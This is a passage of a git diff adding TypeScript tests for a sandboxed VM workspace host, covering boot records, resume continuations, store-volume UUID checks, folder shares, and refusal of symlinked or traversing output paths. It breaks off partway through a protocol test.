runtime: { continuation: string; endedGuestBoots: string[] } | null; roots: { guestPath: string; readOnly: boolean }[]; toolUid: number }[] }; + +describe("guest boots: recorded at hello, ended only by the proof that released the disks", () => { + test("a start records the boot; an orderly stop records orderly-receipt on that row, and only DOOR's reader then lists it", async () => { + const h = createHarness(); + const running = await h.host.start(h.workspaceId); + const [row] = bootRows(h); + expect(row).toMatchObject({ guest_boot_id: running.guestBootId, ended_proof: null, incarnation_id: running.incarnationId, lease_epoch: running.leaseEpoch }); + expect(h.records.endedGuestBoots(h.workspaceId, running.incarnationId)).toEqual([]); // not ended yet: never attested + expect((await running.stop()).released).toBe(true); + expect(bootRows(h)[0]!.ended_proof).toBe("orderly-receipt"); + expect(h.records.endedGuestBoots(h.workspaceId, running.incarnationId)).toEqual([running.guestBootId]); + }); + test("an uncertain stop records no proof (the boot is never listed as ended)", async () => { + const h = createHarness({ behavior: { stop: "uncertain" } }); + const running = await h.host.start(h.workspaceId); + expect((await running.stop()).released).toBe(false); + expect(bootRows(h)[0]!.ended_proof).toBeNull(); + expect(h.records.endedGuestBoots(h.workspaceId, running.incarnationId)).toEqual([]); + }); + test("a crash and a later boot: the new-boot proof (and only it) ends the old boot", async () => { + const h = createHarness({ crashAt: "power-running" }); + await expect(h.host.start(h.workspaceId)).rejects.toBeInstanceOf(CoworkNativeSimulatedCrash); + h.restart(); + expect(h.host.bootReconcile()).toMatchObject([{ action: "retained" }]); + expect(bootRows(h)[0]).toMatchObject({ ended_proof: null }); // same boot, no proof, nothing recorded + h.restart({ newBoot: true }); h.hostBoot.ended = true; + expect(h.host.recover(h.workspaceId)).toMatchObject({ action: "released", evidence: "new-boot" }); + expect(bootRows(h)[0]!.ended_proof).toBe("new-boot"); + }); + test("a boot id reused for another incarnation, or a second id for the same one, is refused by the records", async () => { + const h = createHarness(); + const running = await h.host.start(h.workspaceId); + expect(() => h.guestRecords!.recordHello({ workspaceId: h.workspaceId, incarnationId: running.incarnationId, leaseEpoch: running.leaseEpoch, guestBootId: running.guestBootId })).not.toThrow(); // idempotent + expect(() => h.guestRecords!.recordHello({ workspaceId: h.workspaceId, incarnationId: running.incarnationId, leaseEpoch: running.leaseEpoch, guestBootId: OLDER_BOOT })).toThrow(expect.objectContaining({ code: "boot_conflict" })); + expect(() => h.guestRecords!.recordHello({ workspaceId: h.workspaceId, incarnationId: "inc-other", leaseEpoch: 1, guestBootId: running.guestBootId })).toThrow(expect.objectContaining({ code: "boot_conflict" })); + expect(() => h.guestRecords!.recordEnd({ workspaceId: h.workspaceId, incarnationId: running.incarnationId, proof: "guest-said-so" as never })).toThrow(expect.objectContaining({ code: "invalid_record" })); + expect(h.guestRecords!.recordEnd({ workspaceId: h.workspaceId, incarnationId: running.incarnationId, proof: "owner-recover" })).toBe(true); + expect(h.guestRecords!.recordEnd({ workspaceId: h.workspaceId, incarnationId: running.incarnationId, proof: "new-boot" })).toBe(false); // a proof is never overwritten + expect(bootRows(h)[0]!.ended_proof).toBe("owner-recover"); + }); +}); + +describe("the continuation on the wire and its echo", () => { + const resume = (continuation: "fresh" | "resume" | "either", endedGuestBoots: string[] = []) => ({ continuation, endedGuestBoots }) as const; + test("a resume record is put on the conversation's runtime, and the guest's echo is exposed", async () => { + const h = await formatted(createHarness()); + const running = await h.host.start(h.workspaceId, { resume: resume("resume", [OLDER_BOOT]) }); + expect(lastSet(h).conversations[0]!.runtime).toMatchObject({ continuation: "resume", endedGuestBoots: [OLDER_BOOT] }); + expect(running.continuations).toEqual(["resume"]); + }); + test("without a request the builder's own record is sent and the echo is fresh", async () => { + const h = createHarness(); + const running = await h.host.start(h.workspaceId); + expect(lastSet(h).conversations[0]!.runtime).toMatchObject({ continuation: "fresh", endedGuestBoots: [] }); + expect(running.continuations).toEqual(["fresh"]); + }); + test("a live boot in endedGuestBoots, or ended boots on a fresh start, never leave the host", async () => { + const h = await formatted(createHarness()); + // the live boot is only known once the guest said hello: read it when the host asks for the list + const live = { continuation: "resume" as const, get endedGuestBoots() { return [h.launcher.last.bootId]; } }; + await expect(h.host.start(h.workspaceId, { resume: live })).rejects.toMatchObject({ code: "protocol" }); + expect(h.launcher.last.conversationSets).toHaveLength(0); + const g = createHarness(); + await expect(g.host.start(g.workspaceId, { resume: resume("fresh", [OLDER_BOOT]) })).rejects.toMatchObject({ code: "protocol" }); + }); + for (const [name, echo, continuation] of [["flipped", "flipped", "resume"], ["flipped", "flipped", "fresh"], ["none", "none", "fresh"]] as const) { + test(`an echo that is ${name} for a ${continuation} set fails the start`, async () => { + const h = createHarness(); + await formatted(h); + h.setBehavior({ continuationEcho: echo }); + await expect(h.host.start(h.workspaceId, { resume: resume(continuation) })).rejects.toMatchObject({ code: "protocol" }); + expect(h.host.activeWorkspaces()).toEqual([]); + }); + } + test("an `either` set accepts whichever the guest ran", async () => { + const h = createHarness(); + await formatted(h); + h.setBehavior({ continuationEcho: "flipped" }); // the fake runs `either` as fresh; flipped reports resume + const running = await h.host.start(h.workspaceId, { resume: resume("either") }); + expect(running.continuations).toEqual(["resume"]); + }); + test("a tools-only set echoes nothing, and a set with the wrong count is refused", async () => { + const toolsOnly = (context: CoworkNativeConversationContext): CoworkNativeConversationSet => ({ profile: null, conversations: [{ ...guidedConversation(context, "conv-0001", "backend-0001", 20000), runtime: null }] }); + const h = createHarness({ conversations: toolsOnly }); + expect((await h.host.start(h.workspaceId)).continuations).toEqual([]); + }); +}); + +describe("the fault to lost mapping", () => { + test("resume_store_missing marks the store lost (once) and fails the start; fresh_store_not_empty is a refusal only", async () => { + const lost: string[] = []; + const h = createHarness(); + await formatted(h); + h.setBehavior({ conversations: "store-missing" }); + await expect(h.host.start(h.workspaceId, { resume: { continuation: "resume", endedGuestBoots: [] }, storeLost: reason => lost.push(reason) })).rejects.toMatchObject({ code: "guest_fault" }); + expect(lost).toEqual(["resume_store_missing"]); + const g = createHarness({ behavior: { conversations: "fresh-store-not-empty" } }); + const other: string[] = []; + await expect(g.host.start(g.workspaceId, { storeLost: reason => other.push(reason) })).rejects.toMatchObject({ code: "guest_fault" }); + expect(other).toEqual([]); + }); + test("resume_store_missing for a start that did not send a resume is a protocol error and marks nothing lost", async () => { + for (const continuation of [undefined, { continuation: "either" as const, endedGuestBoots: [] as string[] }]) { + const lost: string[] = []; + const h = createHarness(); + await formatted(h); + h.setBehavior({ conversations: "store-missing" }); + await expect(h.host.start(h.workspaceId, { ...(continuation ? { resume: continuation } : {}), storeLost: reason => lost.push(reason) })).rejects.toMatchObject({ code: "protocol" }); + expect(lost).toEqual([]); + } + }); + test("a storeLost that throws does not hide the failed start", async () => { + const h = createHarness(); + await formatted(h); + h.setBehavior({ conversations: "store-missing" }); + await expect(h.host.start(h.workspaceId, { resume: { continuation: "resume", endedGuestBoots: [] }, storeLost: () => { throw new Error("db"); } })).rejects.toMatchObject({ code: "guest_fault" }); + }); +}); + +describe("the store volume's UUID", () => { + const stored = (h: Harness) => h.guestRecords!.storeVolumeUuid(h.workspaceId); + test("the first start records the data volume's UUID once; later starts compare", async () => { + const h = createHarness(); + expect(stored(h)).toBeNull(); + const running = await h.host.start(h.workspaceId); + const uuid = h.volumes.records(h.workspaceId).find(volume => volume.purpose === "data")!.filesystemUUID; + expect(stored(h)).toBe(uuid); + await running.stop(); + await (await h.host.start(h.workspaceId)).stop(); + expect(stored(h)).toBe(uuid); + }); + test("a different recorded UUID refuses the start before anything moves, and marks a resuming store lost", async () => { + const h = await formatted(createHarness()); + h.db.db.run("UPDATE cowork_workspaces SET store_volume_uuid=? WHERE workspace_id=?", [OLDER_BOOT, h.workspaceId]); + const lost: string[] = []; + await expect(h.host.start(h.workspaceId, { storeLost: reason => lost.push(reason) })).rejects.toMatchObject({ code: "store_lost" }); + expect(lost).toEqual([]); // a fresh start has no store to lose + await expect(h.host.start(h.workspaceId, { resume: { continuation: "either", endedGuestBoots: [] }, storeLost: reason => lost.push(reason) })).rejects.toMatchObject({ code: "store_lost" }); + expect(lost).toEqual(["volume_mismatch"]); + expect(h.launcher.sessions).toHaveLength(1); // only the formatting start; no launcher was spawned for the refused ones + expect(h.volumes.records(h.workspaceId).every(volume => volume.owner === null)).toBe(true); + expect(h.records.get(h.workspaceId).power).toBe("stopped"); + expect(stored(h)).toBe(OLDER_BOOT); // never overwritten + }); + test("a store the host believes exists over a never-formatted data volume is lost, and the volume is not touched", async () => { + const h = createHarness(); + const lost: string[] = []; + await expect(h.host.start(h.workspaceId, { resume: { continuation: "resume", endedGuestBoots: [] }, storeLost: reason => lost.push(reason) })).rejects.toMatchObject({ code: "store_lost" }); + expect(lost).toEqual(["volume_unformatted"]); + expect(h.volumes.records(h.workspaceId).map(volume => volume.filesystemState)).toEqual(["unformatted", "unformatted"]); + expect(h.launcher.sessions).toHaveLength(0); + }); +}); + +describe("host-backed shares", () => { + const folder = (root: string, name: string, sourceId: string, revision: number): CoworkNativeHostShare => { const hostPath = join(root, name); mkdirSync(hostPath); return { tag: `f-${name}`, kind: "folder", guestPath: `/workspace/folders/${name}`, readOnly: false, hostPath, sourceId, revision }; }; + const harnessWithShares = (behavior = {}) => createHarness({ behavior, shareDirectories: createCoworkShareDirectoryOpener() }); + test("shares go out on L1 with one open directory each before begin, then on the bootstrap; the mounted folder sources are reported before the set", async () => { + const root = scratch(), h = harnessWithShares(); + const shares = [folder(root, "notes", "src-1", 3), folder(root, "app", "src-2", 5)]; + const mounted: unknown[] = [], order: string[] = []; + await h.host.start(h.workspaceId, { shares: () => shares, sharesMounted: (_context, list) => { order.push("mounted"); mounted.push(...list); } }); + const sent = h.launcher.last.received.filter(item => item.message.t === "shares"); + expect(sent).toHaveLength(1); + expect(sent[0]!.rights).toHaveLength(2); + expect(h.launcher.last.received.map(item => item.message.t).indexOf("shares")).toBeLessThan(h.launcher.last.received.map(item => item.message.t).indexOf("begin")); + expect((sent[0]!.message as unknown as { shares: { tag: string; path: string; mode: string }[] }).shares.map(share => [share.tag, share.path, share.mode])).toEqual(shares.map(share => [share.tag, share.hostPath, "rw"])); + expect(h.launcher.last.bootstrapShares).toHaveLength(1); + expect(mounted).toEqual([{ sourceId: "src-1", revision: 3 }, { sourceId: "src-2", revision: 5 }]); + expect(order).toEqual(["mounted"]); + expect(h.launcher.last.conversationSets).toHaveLength(1); // the set came after + }); + test("no shares requested: nothing extra goes out", async () => { + const h = harnessWithShares(); + await h.host.start(h.workspaceId, { shares: () => null, sharesMounted: () => { throw new Error("never"); } }); + expect(h.launcher.last.received.some(item => item.message.t === "shares")).toBe(false); + expect(h.launcher.last.bootstrapShares).toHaveLength(0); + }); + test("a guest fault at the shares, a silent guest and a wrong echo each fail the start and never report a share mounted", async () => { + for (const shares of ["fault", "silent", "wrong-nonce"] as const) { + const root = scratch(), h = harnessWithShares({ shares }); + let called = 0; + const rejected = h.host.start(h.workspaceId, { shares: () => [folder(root, "notes", "src-1", 1)], sharesMounted: () => { called += 1; } }); + await expect(rejected).rejects.toMatchObject(shares === "fault" ? { code: "guest_fault", detail: "share_inventory" } : shares === "silent" ? { code: "timeout" } : { code: "protocol" }); + expect(called).toBe(0); + expect(h.launcher.last.conversationSets).toHaveLength(0); + } + }); + test("a sharesMounted that throws is share_mount_failed: the start fails before the set", async () => { + const root = scratch(), h = harnessWithShares(); + await expect(h.host.start(h.workspaceId, { shares: () => [folder(root, "notes", "src-1", 1)], sharesMounted: () => { throw new Error("refused"); } })).rejects.toMatchObject({ code: "guest_fault", detail: "share_mount_failed" }); + expect(h.launcher.last.conversationSets).toHaveLength(0); + }); + test("a share the host cannot open as exactly a canonical directory refuses the start before begin", async () => { + const root = scratch(); + const real = join(root, "real"); mkdirSync(real); + const link = join(root, "link"); symlinkSync(real, link); + const file = join(root, "file"); writeFileSync(file, "x"); + const nested = join(root, "nested"); mkdirSync(nested); mkdirSync(join(nested, "inner")); + const viaParent = join(root, "viaparent"); symlinkSync(nested, viaParent); + for (const hostPath of [link, file, join(root, "missing"), join(viaParent, "inner")]) { // the last: a symlinked PARENT, which O_NOFOLLOW alone does not see + const h = harnessWithShares(); + await expect(h.host.start(h.workspaceId, { shares: () => [{ tag: "f-x", kind: "folder", guestPath: "/workspace/folders/x", readOnly: true, hostPath, sourceId: "s", revision: 1 }] })).rejects.toMatchObject({ code: "prepare_failed" }); + expect(h.launcher.last.received.some(item => item.message.t === "begin")).toBe(false); + } + }); + test("shares without a directory opener are refused", async () => { + const root = scratch(), h = createHarness(); + await expect(h.host.start(h.workspaceId, { shares: () => [folder(root, "notes", "src-1", 1)] })).rejects.toMatchObject({ code: "prepare_failed" }); + }); +}); + +describe("the outputs directory and the plan view", () => { + test("the outputs directory is made for a conversation that names it, before the set; it is idempotent and refuses a symlink or a file", () => { + const home = scratch(), outputs = join(home, "cowork", "workspaces", "ws1", "shared", "outputs"); + mkdirSync(outputs, { recursive: true }); + const prepare = createCoworkOutputsPreparer(home); + prepare.ensure("ws1", "conv-0001"); + prepare.ensure("ws1", "conv-0001"); + expect(() => prepare.ensure("ws1", "../escape")).toThrow(expect.objectContaining({ code: "invalid_name" })); + expect(() => prepare.ensure("ws1", ".")).toThrow(expect.objectContaining({ code: "invalid_name" })); + symlinkSync(home, join(outputs, "linked")); + expect(() => prepare.ensure("ws1", "linked")).toThrow(expect.objectContaining({ code: "not_directory" })); + writeFileSync(join(outputs, "plain"), "x"); + expect(() => prepare.ensure("ws1", "plain")).toThrow(expect.objectContaining({ code: "not_directory" })); + expect(() => prepare.ensure("ws-none", "conv-0001")).toThrow(expect.objectContaining({ code: "root_unusable" })); + const real = join(home, "cowork", "real-workspace", "shared", "outputs"); mkdirSync(real, { recursive: true }); + symlinkSync(join(home, "cowork", "real-workspace"), join(home, "cowork", "workspaces", "ws3")); // a symlinked PARENT of the outputs root + expect(() => prepare.ensure("ws3", "conv-0001")).toThrow(expect.objectContaining({ code: "root_unusable" })); + mkdirSync(join(home, "cowork", "workspaces", "ws4"), { recursive: true }); + prepare.ensure("ws4", "conv-0001"); // a workspace with no shared roots yet gets them, then the directory + expect(lstatSync(join(home, "cowork", "workspaces", "ws4", "shared", "outputs", "conv-0001")).isDirectory()).toBe(true); + const sibling = join(home, "cowork", "workspaces", "ws2", "shared"); mkdirSync(sibling, { recursive: true }); symlinkSync(outputs, join(sibling, "outputs")); + expect(() => prepare.ensure("ws2", "conv-0001")).toThrow(expect.objectContaining({ code: "not_directory" })); // a symlinked outputs root + }); + test("a symlinked /cowork/workspaces refuses: the outputs root must be its own realpath", () => { + const home = scratch(), real = join(home, "real-workspaces", "ws1", "shared", "outputs"); + mkdirSync(real, { recursive: true }); mkdirSync(join(home, "cowork"), { recursive: true }); + symlinkSync(join(home, "real-workspaces"), join(home, "cowork", "workspaces")); + expect(() => createCoworkOutputsPreparer(home).ensure("ws1", "conv-0001")).toThrow(expect.objectContaining({ code: "root_unusable" })); + expect(lstatSync(join(real, "conv-0001"), { throwIfNoEntry: false })).toBeUndefined(); + }); + test("the host asks the preparer for each outputs root the set names, before it sends; a failure refuses the start", async () => { + const asked: string[] = []; + const h = createHarness({ outputs: { ensure: (workspaceId, session) => { asked.push(`${workspaceId}:${session}`); } } }); + await h.host.start(h.workspaceId); + expect(asked).toEqual([`${h.workspaceId}:conv-0001`]); + const g = createHarness({ outputs: { ensure: () => { throw new Error("no"); } } }); + await expect(g.host.start(g.workspaceId)).rejects.toMatchObject({ code: "prepare_failed" }); + expect(g.launcher.last.conversationSets).toHaveLength(0); + }); + const planSet = (epoch: number) => (context: CoworkNativeConversationContext): CoworkNativeConversationSet => { + const base = guidedConversation(context, "conv-0001", "backend-0001", 20000); + return { profile: "host-query-guided-v1", conversations: [{ ...base, policy: "plan", roots: [ + { id: "root-notes", guestPath: "/workspace/folders/notes", source: "/workspace/folders/notes", readOnly: true }, + { id: "plan-scratch", guestPath: `/workspace/plan/conv-0001/${epoch}`, source: `/workspace/plan/conv-0001/${epoch}`, readOnly: false }] }] }; + }; + test("a plan view for the current epoch is sent; an earlier epoch is never mounted again, the same one and a later one are", async () => { + const h = createHarness(); + const request = (epoch: number): CoworkNativeStartRequest => ({ conversations: planSet(epoch) }); + await (await h.host.start(h.workspaceId, request(3))).stop(); + expect(lastSet(h).conversations[0]!.roots.map(root => root.guestPath)).toContain("/workspace/plan/conv-0001/3"); + await expect(h.host.start(h.workspaceId, request(2))).rejects.toMatchObject({ code: "protocol" }); + await (await h.host.start(h.workspaceId, request(3))).stop(); + await (await h.host.start(h.workspaceId, request(4))).stop(); + await expect(h.host.start(h.workspaceId, request(3))).rejects.toMatchObject({ code: "protocol" }); + }); +}); + +describe("the coordinate tool class and the plan view on the wire", () => { + const withClasses = (toolClasses: string[]) => (context: CoworkNativeConversationContext): CoworkNativeConversationSet => { + const base = guidedConversation(context, "conv-0001", "backend-0001", 20000); + return { profile: "host-query-guided-v1", conversations: [{ ...base, runtime: { ...base.runtime!, toolClasses: toolClasses as never } }] }; + }; + test("`coordinate` is the fourth class, last in the order; an out-of-order, repeated or unknown class is refused", async () => { + const h = createHarness({ conversations: withClasses(["read", "write", "execute", "coordinate"]) }); + await h.host.start(h.workspaceId); + expect((lastSet(h).conversations[0]!.runtime as unknown as { toolClasses: string[] }).toolClasses).toEqual(["read", "write", "execute", "coordinate"]); + for (const bad of [["coordinate", "read"], ["read", "read"], ["read", "message"], ["execute", "write"]]) { + const g = createHarness({ conversations: withClasses(bad) }); + await expect(g.host.start(g.workspaceId)).rejects.toMatchObject({ code: "protocol" }); + } + }); + test("the plan rule holds for a tools-only conversation too (contract 12.3a): a writable folder beside the plan view is refused", async () => { + const toolsOnlyPlan = (other: boolean) => (context: CoworkNativeConversationContext): CoworkNativeConversationSet => { + const base = guidedConversation(context, "conv-0001", "backend-0001", 20000); + return { profile: null, conversations: [{ ...base, runtime: null, policy: "plan", roots: [{ id: "root-notes", guestPath: "/workspace/folders/notes", source: "/workspace/folders/notes", readOnly: other }, { id: "scratch", guestPath: "/workspace/plan/conv-0001/1", source: "/workspace/plan/conv-0001/1", readOnly: false }] }] }; + }; + const ok = createHarness({ conversations: toolsOnlyPlan(true) }); + await ok.host.start(ok.workspaceId); + const bad = createHarness({ conversations: toolsOnlyPlan(false) }); + await expect(bad.host.start(bad.workspaceId)).rejects.toMatchObject({ code: "protocol" }); + }); + test("under plan only the own plan view may be writable; any other writable root, a read-only plan view or a plan view outside plan is refused", async () => { + const roots = (policy: "plan" | "ask", other: { readOnly: boolean }, view: { readOnly: boolean; path?: string }) => (context: CoworkNativeConversationContext): CoworkNativeConversationSet => { + const base = guidedConversation(context, "conv-0001", "backend-0001", 20000); + const path = view.path ?? "/workspace/plan/conv-0001/1"; + return { profile: "host-query-guided-v1", conversations: [{ ...base, policy, roots: [{ id: "root-notes", guestPath: "/workspace/folders/notes", source: "/workspace/folders/notes", readOnly: other.readOnly }, { id: "scratch", guestPath: path, source: path, readOnly: view.readOnly }] }] }; + }; + const ok = createHarness({ conversations: roots("plan", { readOnly: true }, { readOnly: false }) }); + await ok.host.start(ok.workspaceId); + for (const [name, build] of [ + ["another writable root under plan", roots("plan", { readOnly: false }, { readOnly: false })], + ["a read-only plan view", roots("plan", { readOnly: true }, { readOnly: true })], + ["a plan view outside plan", roots("ask", { readOnly: false }, { readOnly: false })], + ["another session's plan view", roots("plan", { readOnly: true }, { readOnly: false, path: "/workspace/plan/conv-9999/1" })], + ["a leading-zero epoch", roots("plan", { readOnly: true }, { readOnly: false, path: "/workspace/plan/conv-0001/01" })], + ] as const) { + const h = createHarness({ conversations: build }); + await expect(h.host.start(h.workspaceId), name).rejects.toMatchObject({ code: "protocol" }); + } + }); +}); diff --git a/packages/core/test/cowork/native/pressure.anti-wiring.test.ts b/packages/core/test/cowork/native/pressure.anti-wiring.test.ts index bbab11c40..be6883f17 100644 --- a/packages/core/test/cowork/native/pressure.anti-wiring.test.ts +++ b/packages/core/test/cowork/native/pressure.anti-wiring.test.ts @@ -1,4 +1,7 @@ -import { expect, test } from "bun:test"; +import { setDefaultTimeout, expect, test } from "bun:test"; + +// Whole-repo source scans (AST/regex over every package): a loaded CI runner can pass bun's 5 s default, so these files get 30 s. +setDefaultTimeout(30_000); import { existsSync, readdirSync, readFileSync } from "node:fs"; import { basename, join, sep } from "node:path"; import * as ts from "typescript"; diff --git a/packages/core/test/cowork/native/protocol.test.ts b/packages/core/test/cowork/native/protocol.test.ts index 6657e7dd9..ba841769f 100644 --- a/packages/core/test/cowork/native/protocol.test.ts +++ b/packages/core/test/cowork/native/protocol.test.ts @@ -5,6 +5,8 @@ import { coworkNativeBootstrapOrder, CoworkNativeMuxSequence, CoworkNativeProtocolError, CoworkNativeRuntimeStreams, coworkNativeConversationsAreBound, coworkNativeGuestStopVerdict, coworkNativeHostStopWaitMs, coworkNativeLauncherKillMs, COWORK_LIBKRUN_OPTIONAL_SYMBOLS, COWORK_LIBKRUN_EXIT_REASONS, COWORK_LIBKRUN_FORBIDDEN_SYMBOLS, COWORK_NATIVE_WORKER_EXIT_CODES, COWORK_NATIVE_WORKER_FAULTS, COWORK_NATIVE_WORKER_LAYOUT, coworkNativeRuntimeImageDigest, COWORK_LIBKRUN_PRODUCTION_ABI, COWORK_LIBKRUN_PRODUCTION_STRUCTS, COWORK_LIBKRUN_RETIRED_FIXTURE_SYMBOLS, COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES, COWORK_NATIVE_BOOTSTRAP_FAULTS, COWORK_NATIVE_GUEST_FAULTS, COWORK_NATIVE_WORKER_STATES, COWORK_NATIVE_WORKER_STATUS, COWORK_NATIVE_LIMITS, COWORK_NATIVE_MUX_CLASSES, classAInvariantsHold, coworkNativeScopeDigest, parseCoworkNativeEnvelope, parseCoworkNativeLauncherLine, parseCoworkNativeMuxFrame, parseCoworkNativeStopReceipt, serializeCoworkNativeEnvelope, serializeCoworkNativeLauncherLine, serializeCoworkNativeMuxFrame, serializeCoworkNativeStopReceipt, + COWORK_NATIVE_TEXT_VERSION, COWORK_NATIVE_BOOTSTRAP_VERSION, COWORK_NATIVE_CONTROL_VERSION, COWORK_NATIVE_REFUSAL_CODES, COWORK_NATIVE_ENVELOPE_KINDS, COWORK_NATIVE_RUNTIME_STREAMS, COWORK_NATIVE_SHARE_NOTICE_KINDS, + COWORK_NATIVE_SHARE_MOUNTS, COWORK_NATIVE_FILE_CHANNEL_CAPABILITY, COWORK_NATIVE_WORKER_SHARES_FLAG, parseCoworkNativeWorkerArgv, serializeCoworkNativeWorkerArgv, type CoworkNativeEnvelope, type CoworkNativeLibkrunExitReason, type CoworkNativeLibkrunFlushCounters, type CoworkNativeFlushDevice, type CoworkNativeWorkerStatusState, type CoworkNativeLauncherDirection, type CoworkNativeMuxDirection, type CoworkNativeOrderlyReceipt, type CoworkNativeProtocolFailure, } from "../../../src/cowork/native/protocol"; @@ -44,11 +46,11 @@ test("a launcher line over its own ceiling is oversize, whatever its type", () = expect(code(() => parseCoworkNativeLauncherLine(42, "to-launcher"))).toBe("malformed"); expect(code(() => parseCoworkNativeLauncherLine(null, "to-daemon"))).toBe("malformed"); }); -test("only the volumes line may carry descriptors, and exactly two; a launcher line never carries any toward the daemon", () => { +test("only the volumes line (exactly two) and the shares line (one per record) may carry descriptors; a launcher line never carries any toward the daemon", () => { const volumes = lines.positive.find(entry => entry.name === "volumes-two-descriptors")!; for (const entry of lines.positive) { for (const rights of [0, 1, 2, 3]) { - const wanted = entry.t === "volumes" ? 2 : 0; + const wanted = entry.t === "volumes" ? 2 : entry.t === "shares" ? entry.rights : 0; if (rights === wanted) continue; expect(`${entry.name}/${rights}:${code(() => parseCoworkNativeLauncherLine(entry.line, entry.direction, rights))}`).toBe(`${entry.name}/${rights}:bad_rights`); } @@ -196,8 +198,10 @@ test("drift guard: the pinned literals", () => { controlLineBytes: 16384, muxLineBytes: 1572864, depth: { launcher: 4, receipt: 3, control: 1, bootstrap: 8 }, headerBytes: 16, muxPayloadBytes: { control: 4096, bootstrap: 262144, runtime: 1048576, provider: 0 }, receiptBytes: 8192, tokenChars: 63, vcpus: 2, minMemoryMiB: 768, maxMemoryMiB: 1024, drainBudgetMs: 30000, drainBudgetCeilingMs: 120000, volumeRights: 2, - libkrunExitWatchdogMs: 20000, launcherKillMarginMs: 5000, hostStopMarginMs: 10000, conversationsBytes: 20480, conversationItems: 16, rootsPerConversation: 16, providerBytes: 4096, runtimePrefixBytes: 4, runtimeConversations: 16, runtimeInFlightBytes: 1048576 }); - expect({ ...COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES }).toEqual({ scope: 512, volumes: 104, drain: 28, status: 40, fault: 8 }); + libkrunExitWatchdogMs: 20000, launcherKillMarginMs: 5000, hostStopMarginMs: 10000, conversationsBytes: 20480, conversationItems: 16, rootsPerConversation: 16, providerBytes: 4096, runtimePrefixBytes: 4, runtimeConversations: 16, runtimeInFlightBytes: 1048576, + fileInFlightRequests: 4, fileRequestBytes: 16384, fileResponseBytes: 393216, shares: 12, folderShares: 9, shareTagChars: 32, shareRecordBytes: 308, endedGuestBoots: 4, runtimeTimeoutCeilingMs: 86400000 }); + expect({ ...COWORK_NATIVE_ENVELOPE_PAYLOAD_BYTES }).toEqual({ scope: 512, volumes: 104, drain: 28, status: 40, fault: 8, shares: 3704, share_revoke: 32, share_event: 40 }); + expect([COWORK_NATIVE_TEXT_VERSION, COWORK_NATIVE_BOOTSTRAP_VERSION, COWORK_NATIVE_CONTROL_VERSION]).toEqual([2, 2, 1]); // The runtime ceiling is the existing guest runtime transport frame, not a number invented here. const runtime = readFileSync(join(import.meta.dir, "..", "..", "..", "src", "cowork", "guest-runtime.ts"), "utf8"); expect(runtime).toContain(`frameBytes: ${COWORK_NATIVE_LIMITS.muxPayloadBytes.runtime / 1024} * 1024`); @@ -235,6 +239,9 @@ test("the contract document names every production symbol, every message type an const doc = readFileSync(join(import.meta.dir, "..", "..", "..", "..", "..", "docs", "cowork-native-worker.md"), "utf8"); for (const symbol of COWORK_LIBKRUN_PRODUCTION_ABI) expect(`${symbol.name}:${doc.includes(symbol.signature)}`).toBe(`${symbol.name}:true`); for (const type of new Set(lines.positive.map(entry => entry.t))) expect(`${type}:${doc.includes(`\`${type}\``)}`).toBe(`${type}:true`); + // Contract revision 3: every new bootstrap message, envelope kind, stream and fault is named in the prose too. + for (const name of ["shares", "shares_mounted", "share_revoke", "share_event", "share_revoked", "share_notice", "file_in", "file_out", "FILE_IN", "FILE_OUT", "browseUid", "continuation", "endedGuestBoots", "continuations", "--shares-v1", "file-channel-v1", ...COWORK_NATIVE_BOOTSTRAP_FAULTS, ...COWORK_NATIVE_SHARE_NOTICE_KINDS]) + expect(`${name}:${doc.includes(name)}`).toBe(`${name}:true`); for (const cls of COWORK_NATIVE_MUX_CLASSES) expect(doc).toContain(cls); }); test("the vector files are exactly the six the contract names, and nothing else lives beside them", () => { @@ -310,7 +317,11 @@ test("every conversation negative is covered by a vector, and the set rules are }); test("the new bootstrap faults, the guest fault and the new worker states are appended, never renumbered", () => { expect([...COWORK_NATIVE_WORKER_STATUS]).toEqual(["sandboxed", "volumes_accepted", "vm_running", "guest_hello", "draining", "drain_acked", "guest_halted", "exiting", "halting", "guest_fault"]); - expect([...COWORK_NATIVE_BOOTSTRAP_FAULTS]).toEqual(["bad_plan", "probe_failed", "format_failed", "replay_failed", "mount_failed", "internal", "bad_conversations", "supervisor_failed", "second_conversations"]); + expect([...COWORK_NATIVE_BOOTSTRAP_FAULTS]).toEqual(["bad_plan", "probe_failed", "format_failed", "replay_failed", "mount_failed", "internal", "bad_conversations", "supervisor_failed", "second_conversations", + "share_inventory", "share_mount_failed", "resume_store_missing", "fresh_store_not_empty"]); + expect([...COWORK_NATIVE_REFUSAL_CODES].at(-1)).toBe("shares_rejected"); + expect([...COWORK_NATIVE_ENVELOPE_KINDS]).toEqual(["scope", "volumes", "drain", "status", "fault", "shares", "share_revoke", "share_event"]); + expect([...COWORK_NATIVE_RUNTIME_STREAMS]).toEqual(["in", "out", "err", "file_in", "file_out"]); expect([...COWORK_NATIVE_WORKER_STATES]).toEqual(["sandboxed", "volumes_accepted", "vm_running", "guest_hello", "draining", "drain_acked", "exited", "halting", "guest_fault"]); expect([...COWORK_NATIVE_GUEST_FAULTS]).toEqual(["unmount_failed", "supervisor_lost", "protocol_violation", "internal"]); for (const [name, state] of [["status-halting", 9], ["status-guest-fault", 10]] as const) expect(Buffer.from(envelopes.positive.find(entry => entry.name === name)!.hex, "hex").readUInt32LE(16)).toBe(state); @@ -443,3 +454,101 @@ test("a conversation's uids and gid stay below nobody (65534) and 65535, and the const names = mux.negative.map(entry => entry.name); expect(names).toEqual(expect.arrayContaining(["conversations-uid-nobody-65534", "conversations-uid-65535", "conversations-gid-nobody", "conversations-gid-equals-a-tool-uid"])); }); + +// ---------------------------------------------------------------- contract revision 3: shares, cold resume, the file channel +import { COWORK_GUEST_FILE_LIMITS } from "../../../src/cowork/guest-file-channel"; +interface ArgvVectors { positive: { name: string; argv: string[] }[]; negative: { name: string; argv: string[] }[] } +interface FileFlowVectors { fileRequestBytes: number; fileResponseBytes: number; fileInFlightRequests: number; fileCases: { name: string; steps: { stream: "in" | "out" | "err" | "file_in" | "file_out"; bytes: number; newlines?: number }[]; refusedAt: number | null; error: string | null }[] } +const argvVectors = (vector<{ workerArgv: ArgvVectors }>("envelopes.json")).workerArgv; +const fileFlows = vector("runtime-flow.json"); +test("the file channel's bounds are the channel's own literals, and FILE_IN has its own count", () => { + expect(COWORK_NATIVE_LIMITS.fileRequestBytes).toBe(COWORK_GUEST_FILE_LIMITS.requestFrameBytes); + expect(COWORK_NATIVE_LIMITS.fileResponseBytes).toBe(COWORK_GUEST_FILE_LIMITS.responseFrameBytes); + expect([fileFlows.fileRequestBytes, 